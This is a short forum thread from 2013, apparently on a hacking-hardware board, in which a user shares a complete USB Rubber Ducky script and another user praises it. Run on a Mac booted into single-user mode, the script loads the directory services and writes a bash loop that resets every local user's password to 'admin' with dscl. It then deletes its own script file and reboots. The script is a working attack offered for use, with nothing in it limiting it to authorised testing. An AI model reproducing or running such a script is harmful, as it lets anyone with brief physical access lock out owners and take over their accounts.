persona_non_grata Posted November 13, 2013 Share Posted November 13, 2013 Hello all, This is my first ducky script. It resets all the users passwords to admin. Just run in Single User mode. DELAY 500 STRING mount -uw / DELAY 500 ENTER STRING launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist ENTER DELAY 500 STRING launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist DELAY 500 ENTER STRING launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServicesLocal.plist DELAY 500 ENTER STRING echo '#!/bin/bash' > rstpass.sh ENTER DELAY 200 STRING echo users="$""(""ls /Users/" "|" "grep -vw 'Shared\|Guest\|Deleted Users\|.localized')" >> rstpass.sh ENTER STRING echo arr="("'$'"users)" >> rstpass.sh ENTER STRING echo arraySize="$"{#arr[@]} >> rstpass.sh ENTER STRING echo new_password="admin" >> rstpass.sh ENTER STRING echo "for (( i=0; i<"'$'"{arraySize}; i++ ));" >> rstpass.sh ENTER STRING echo do >> rstpass.sh ENTER STRING echo /Users/"$""{arr["'$'""i"]}" >> rstpass.sh ENTER STRING echo dscl . passwd /Users/"$""{arr["'$'"i]}" "$"new_password >> rstpass.sh ENTER STRING echo done >> rstpass.sh DELAY 500 ENTER DELAY 200 STRING chmod +x rstpass.sh DELAY 500 ENTER STRING ./rstpass.sh DELAY 200 ENTER STRING rm rstpass.sh ENTER STRING reboot ENTER Quote Link to comment Share on other sites More sharing options...
th3l0b3 Posted November 14, 2013 Share Posted November 14, 2013 nice man! I will have to play with this when i get back home on my macbook. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.